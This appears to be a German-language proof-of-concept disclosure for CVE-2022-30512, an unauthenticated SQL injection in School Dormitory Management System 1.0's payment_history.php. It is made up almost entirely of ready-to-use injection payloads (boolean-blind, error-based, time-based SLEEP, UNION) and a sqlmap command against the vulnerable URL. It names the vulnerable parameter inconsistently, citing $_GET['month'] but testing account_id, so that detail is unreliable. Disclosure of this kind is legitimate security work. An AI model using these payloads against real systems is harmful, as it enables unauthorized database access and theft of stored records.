bigzooooz/cve-2022-30512Schulwohnheim-Verwaltungssystem 1.0 - Nicht authentifizierte SQL-Injection
School Dormitory Management System 1.0 – Nicht authentifizierte SQL-Injection
[#] Schwachstellenort:
$_GET['month'] in /dms/admin/accounts/payment_history.php:31
Parameter: account_id (GET)
Typ: boolean-based blind
Titel: AND boolean-based blind – WHERE oder HAVING-Klausel
Payload: account_id=2' AND 6703=6703 AND 'jmUS'='jmUS
Typ: error-based
Titel: MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY oder GROUP BY-Klausel (FLOOR)
Payload: account_id=2' AND (SELECT 7343 FROM(SELECT COUNT(*),CONCAT(0x71716b7671,(SELECT (ELT(7343=7343,1))),0x7170626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'htiO'='htiO
Typ: time-based blind
Titel: MySQL >= 5.0.12 AND time-based blind (Abfrage SLEEP)
Payload: account_id=2' AND (SELECT 2865 FROM (SELECT(SLEEP(5)))hWAb) AND 'pbGX'='pbGX
Typ: UNION-Abfrage
Titel: Generische UNION-Abfrage (NULL) – 7 Spalten
Payload: account_id=2' UNION ALL SELECT CONCAT(0x71716b7671,0x6458467273575152444c465a7a5276684f74756c7a754b6d506a6c437a5a516479574d5844694b78,0x7170626a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
[#] Ausnutzung mit SQLMAP:
sqlmap -u "http://localhost/dms/admin/accounts/payment_history.php?account_id=2" --dbms=mysql